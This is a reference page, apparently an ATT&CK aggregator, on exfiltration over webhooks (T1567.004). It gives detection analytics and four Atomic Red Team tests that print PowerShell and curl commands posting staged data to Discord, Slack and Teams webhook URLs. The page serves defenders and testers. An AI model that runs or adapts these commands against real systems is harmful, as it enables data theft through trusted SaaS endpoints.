tfMITRE ATT&CK sub-technique

Exfiltration Over Webhook T1567.004

sub-technique of T1567 Exfiltration Over Web Service

Tactic: Exfiltration
Platforms: ESXi, Linux, macOS, Office Suite, SaaS, Windows
Version: 1.2
Created: 20 July 2023
Last modified: 12 May 2026
Contributors: Yossi Weizman, Microsoft Threat Intelligence; Sunders Bruskin, Microsoft Threat Intelligence

Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.[1] Many public and commercial services, such as Discord, Slack, and webhook.site, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.[2] When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Exfiltration Over Webhook MITRE reference T1567.004

72nd pctamong all ATT&CK techniques for number of campaigns

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

2025 Poland Wiper AttacksC0063 ↗

During the 2025 Poland Wiper Attacks, the adversaries leveraged an attacker-controlled Slack channel to exfiltrate data.1

2025

All 1 campaigns for this technique

1 software entry is documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Shai-HuludS9008 ↗

Has exfiltrated repository secrets to webhook[.]site.1

created 2026-04-09MALWARE

All 1 software entries for this technique

Offense vs defense T1567.004

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Exfiltration Over Webhook detection strategy DET0153

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Exfiltration Over Webhook

Enterprise

5 platforms

AN0436 · Windows

Unusual processes (e.g., powershell.exe, wscript.exe, mshta.exe) posting data to webhook endpoints (Discord, Slack, webhook.site) using HTTP POST/PUT requests. Defender perspective: suspicious process lineage followed by outbound HTTPS traffic to webhook domains.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
WebhookDomains	Domains to monitor such as discord.com/api/webhooks, slack.com/api, webhook.site.
UploadSizeThreshold	Threshold for abnormal data sent via webhook requests.
ApprovedApps	List of approved business apps using webhooks to reduce noise.

AN0437 · Linux

Processes such as curl, wget, or custom scripts initiating POST requests to webhook endpoints with encoded or bulk data. Defender perspective: abnormal chaining of file compression or access followed by outbound data to webhook URLs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	auditd:SYSCALL	read/open of sensitive files
Command ExecutionDC0064	auditd:EXECVE	curl -X POST, wget --post-data
Network Traffic ContentDC0085	NSM:Flow	large HTTPS POST requests to webhook endpoints

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedTools	Expected command-line utilities allowed to interact with webhooks in enterprise environments.
TimeWindow	Expected timeframe for legitimate webhook traffic (e.g., CI/CD deployments).

AN0438 · macOS

Unexpected apps or scripts (osascript, curl, Automator workflows) exfiltrating data via webhooks. Defender perspective: correlation of clipboard/file read operations followed by HTTPS POST traffic to webhook services.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	execution of osascript, curl, or unexpected automation
File AccessDC0055	macos:unifiedlog	file read of sensitive directories
Network Traffic FlowDC0078	macos:unifiedlog	HTTPS POST to known webhook URLs

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
WebhookEndpoints	Webhook URLs monitored for exfiltration.
EntropyThreshold	High entropy payloads may indicate encoded/encrypted exfiltration.

AN0439 · ESXi

VMware services or management daemons generating HTTP POST requests to webhook endpoints, chained with unusual datastore or log access. Defender perspective: exfiltration from VM logs or disk images over webhook URLs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	esxi:hostd	datastore file access
Network Traffic ContentDC0085	esxi:vmkernel	HTTPS POST connections to webhook endpoints

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DatastoreExfilThreshold	Minimum data volume to flag exfiltration attempts from VM files.
ApprovedIntegrations	Whitelisted CI/CD or automation webhooks tied to vSphere/ESXi.

AN0440 · SaaS

Suspicious SaaS tenant activity involving webhook configurations pointing to external or untrusted domains. Defender perspective: repeated automated exports or suspicious webhook endpoint registrations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Application Log ContentDC0038	m365:unified	Set-Mailbox, Add-InboxRule, RegisterWebhook
Network Traffic FlowDC0078	saas:api	Webhook registrations or repeated POST activity

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
WebhookRegistrations	Monitor new webhook creation events in SaaS environments.
ExternalDomains	Flag webhooks pointing to domains not owned by the enterprise.

Tests4ExecutorsPowerShell 2 · bash 1 · sh 1Need elevation0 of 4Have prerequisites0Have cleanup4Platformswindows, linux, macos

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Exfiltrate staged data to a Discord webhook (PowerShell) windows PowerShell — — Yes

Stages a file containing simulated sensitive data and exfiltrates its contents to a Discord incoming webhook by POSTing a JSON content payload over HTTPS. Webhook URLs require no authentication header, so a single HTTPS POST is sufficient to move data out of the environment while blending in with normal SaaS traffic. See https://discord.com/developers/docs/resources/webhook#execute-webhook

Input arguments

Name	Type	Default	Description
staged_file	path	$env:TEMP\T1567.004_loot.txt	Path to the file that is staged and exfiltrated
webhook_url	string	https://discord.com/api/webhooks/000000000000000000/ReplaceWithYourWebhookToken	Discord incoming webhook URL the staged data is exfiltrated to

Attack command

"secrets, api keys, passwords - T1567.004 atomic test" | Out-File -FilePath "#{staged_file}" -Encoding ascii
$body = @{ content = (Get-Content -Raw "#{staged_file}") } | ConvertTo-Json
Invoke-RestMethod -Uri "#{webhook_url}" -Method Post -ContentType 'application/json' -Body $body

Cleanup command

Remove-Item -Path "#{staged_file}" -ErrorAction Ignore

GUIDf108b573-8d93-4cdf-a842-fc0f59c05185

02 Exfiltrate staged file to a Discord webhook with curl (bash) linux, macos bash — — Yes

Stages a file containing simulated sensitive data and uploads it as a multipart file attachment to a Discord incoming webhook using curl. This produces an outbound HTTPS POST to a commonly allow-listed SaaS endpoint, mirroring real-world data theft that abuses Discord webhooks for exfiltration. See https://discord.com/developers/docs/resources/webhook#execute-webhook

Input arguments

Name	Type	Default	Description
staged_file	path	/tmp/T1567.004_loot.txt	Path to the file that is staged and exfiltrated
webhook_url	string	https://discord.com/api/webhooks/000000000000000000/ReplaceWithYourWebhookToken	Discord incoming webhook URL the staged data is exfiltrated to

Attack command

echo "secrets, api keys, passwords - T1567.004 atomic test" > "#{staged_file}"
curl -s -F "file=@#{staged_file}" "#{webhook_url}"

Cleanup command

rm -f "#{staged_file}"

GUID6977932b-6afd-44db-900b-1e303b3b0679

03 Exfiltrate staged data to a Slack webhook with curl (sh) linux, macos sh — — Yes

Stages a file containing simulated sensitive data and exfiltrates its contents to a Slack incoming webhook by POSTing a JSON text payload with curl. Slack incoming webhooks accept unauthenticated JSON POSTs, making them a low-friction exfiltration channel that blends with legitimate collaboration traffic. See https://api.slack.com/messaging/webhooks

Input arguments

Name	Type	Default	Description
staged_file	path	/tmp/T1567.004_loot.txt	Path to the file that is staged and exfiltrated
webhook_url	string	https://hooks.slack.com/services/T00000000/B00000000/ReplaceWithYourWebhookToken	Slack incoming webhook URL the staged data is exfiltrated to

Attack command

echo "secrets, api keys, passwords - T1567.004 atomic test" > "#{staged_file}"
curl -s -X POST -H 'Content-type: application/json' --data "{\"text\":\"$(cat #{staged_file})\"}" "#{webhook_url}"

Cleanup command

rm -f "#{staged_file}"

GUID0ab75abe-8a2b-47e8-8827-885ae0630f65

04 Exfiltrate staged data to a Microsoft Teams webhook (PowerShell) windows PowerShell — — Yes

Stages a file containing simulated sensitive data and exfiltrates its contents to a Microsoft Teams incoming webhook (Office 365 connector / Power Automate workflow URL) by POSTing a JSON text payload over HTTPS. The endpoint resides on a Microsoft-owned domain, allowing the exfiltration to blend in with trusted corporate traffic. See https://learn.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook

Input arguments

Name	Type	Default	Description
staged_file	path	$env:TEMP\T1567.004_loot.txt	Path to the file that is staged and exfiltrated
webhook_url	string	https://example.webhook.office.com/webhookb2/00000000-0000-0000-0000-000000000000@00000000-0000-0000-0000-000000000000/IncomingWebhook/ReplaceWithYourWebhookToken	Microsoft Teams incoming webhook URL the staged data is exfiltrated to

Attack command

"secrets, api keys, passwords - T1567.004 atomic test" | Out-File -FilePath "#{staged_file}" -Encoding ascii
$body = @{ text = (Get-Content -Raw "#{staged_file}") } | ConvertTo-Json
Invoke-RestMethod -Uri "#{webhook_url}" -Method Post -ContentType 'application/json' -Body $body

Cleanup command

Remove-Item -Path "#{staged_file}" -ErrorAction Ignore

GUIDfb335a98-7a56-4d72-a715-7bcb7827208c

Tests from Atomic Red Team (MIT licence) · technique definition

Exfiltration Over Webhook detections T1567.004

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs